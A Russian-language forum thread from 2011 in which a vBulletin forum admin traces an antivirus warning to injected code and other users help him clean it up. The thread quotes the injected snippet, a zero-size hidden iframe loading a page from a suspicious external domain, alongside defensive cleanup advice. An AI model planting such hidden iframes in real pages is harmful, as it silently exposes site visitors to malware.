Сегодня зашел на форум - просед трафика около 20% и три письма в лс от пользователей с тем, что их антитвари ругаются.

Одно из писем:

Вот выдержка из репорта:
27.04.2011 902 Firefox Запрещено: http://aob.cz.cc/index.php?tp=5bf8b08fe43669f1 (проверка по базе подозрительных веб-адресов) http://aob.cz.cc/index.php?tp=5bf8b08fe43669f1 Ссылка обнаружена в базе

В коде это выглядело так:

<br />Search Engine Optimization by vBSEO 3.5.1 PL1<a href="http://www.zcarot.com/" target="_blank">zCarot</a><br /><iframe src='http://aob.cz.cc/index.php?tp=5bf8b08fe43669f1' width='0' height='0' style='border:0px;'></iframe>

Убрал копирайты - дрянь исчезла. Но без копирайтов, понятное дело, нельзя, а шаблон со строкой <iframe src='http://aob.cz.cc/index.php?tp=5bf8b08fe43669f1' width='0' height='0' style='border:0px;'></iframe> я найти не смог. По поиску по фразам (думал в тексте копирайтов это) - тоже глухо.

Подскажите пожалуйста, как сейчас восстановить чистые копирайты, что это была за дрянь, и какие привентивные меры можно принять против подобных взломов? (сейчас у админов не указаны электропочты, что бы через ее взлом не могли восстановить пасс от форума). Я так думаю, кому-то трояна закинули?

German12 добавил 27.04.2011 в 13:35

Имеется информация, что эта веб-страница атакует компьютеры!

Имеется информация о том, что веб-страница forumishka.net используется для атак на компьютеры пользователей. В соответствии с вашими настройками безопасности она была заблокирована.

Веб-страницы, атакующие компьютеры, пытаются установить программное обеспечение, которое похищает персональную информацию, вредит вашей системе или использует ваш компьютер для атак на другие компьютеры.

Некоторые страницы намеренно созданы для распространения вредоносного программного обеспечения, однако многие страницы были взломаны и делают это без ведома или разрешения своих владельцев.

Дрянь почистил, а касперский уже успел в блек-лист добавить. Что с этим делать? Куда писать? Никогда не сталкивался :(

В самом iframe ничего удивительного нет и, сомневаюсь, что здесь чем-то виноват код копирайтов. Если у вас нулл, то могли нуллеры оставить лазейки - это не новость. А если дыра в phpmyadmin, например, то проверьте версию и обновите, если слишком стара. Там были лазейки в более ранних версиях. И попробуйте в самой базе данных через phpmyadmin задать поиск по слову iframe. Одно дело, если в файл на сервере этот код вставили (решается перезаливкой файла из дистрибутива) и совсем другое, если в базу данных. + меняйте все пароли (на хостинге, к базе данных, на сайте) и проверьте на всякий случай компьютер на вирусы. Если FTP клиент взломанный, то тоже может ваши пароли отсылать кому нужно... Вариантов куча...
По поводу блэклиста Касперского - нужно писать, чтобы перепроверили сайт. Скорее всего сюда: http://www.securelist.com/ru/contacts

Если у вас нулл

Не, лицензия.

Одно дело, если в файл на сервере этот код вставили (решается перезаливкой файла из дистрибутива)

Мне отчего-то кажется, что это не бд и не фтп - а отредактированный шаблон. Могу на раз ошибаться. Поэтому хочу в первую очередь шабы проверить, но где в данном случае может быть этот айфрейм - не представляю...

По поводу блэклиста Касперского - нужно писать, чтобы перепроверили сайт. Скорее всего сюда: http://www.securelist.com/ru/contacts

Спасибо, сейчас отпишусь им.

Originally Posted by German12

Поэтому хочу в первую очередь шабы проверить, но где в данном случае может быть этот айфрейм - не представляю...

Посмотрите в шаблоне footer и во фразах.

Может быть как в модулях, так и в файлах. Надо все проверять, логи смотреть...

Посмотрите в шаблоне footer и во фразах.

И там и там - пусто. Вышел из положения так: переменную копирайтов убрал, а заместо них в футере тупо текст из копирайтов (то есть прям не переменной, а текстом) и пароли щас везде поменяю. Единственное что дату "2001-2011" придется вручную исправлять

German12, в БД, в файле — нет? Кстати, если это в переменной, то вирус явно там заложен.

Originally Posted by German12

Вышел из положения так:

это не решение
искать надо, кто это цепляет, а не переменную убирать
поставь это http://vbsupport.ru/forum/showthread.php?t=35347
ищи не текст целиком, а только домен, например
нет в модулях - ищи в файлах
и, разумеется, прими все меры: прогнать комп хорошим (несколькими) антивирусами, сменить все пароли

vBSEO... которая? это которая дырявая? (впрочем, у меня подозрение, что и последние не без греха)

Luvilla, Ich danke Ihnen vielmals! Помогло, нашел врезку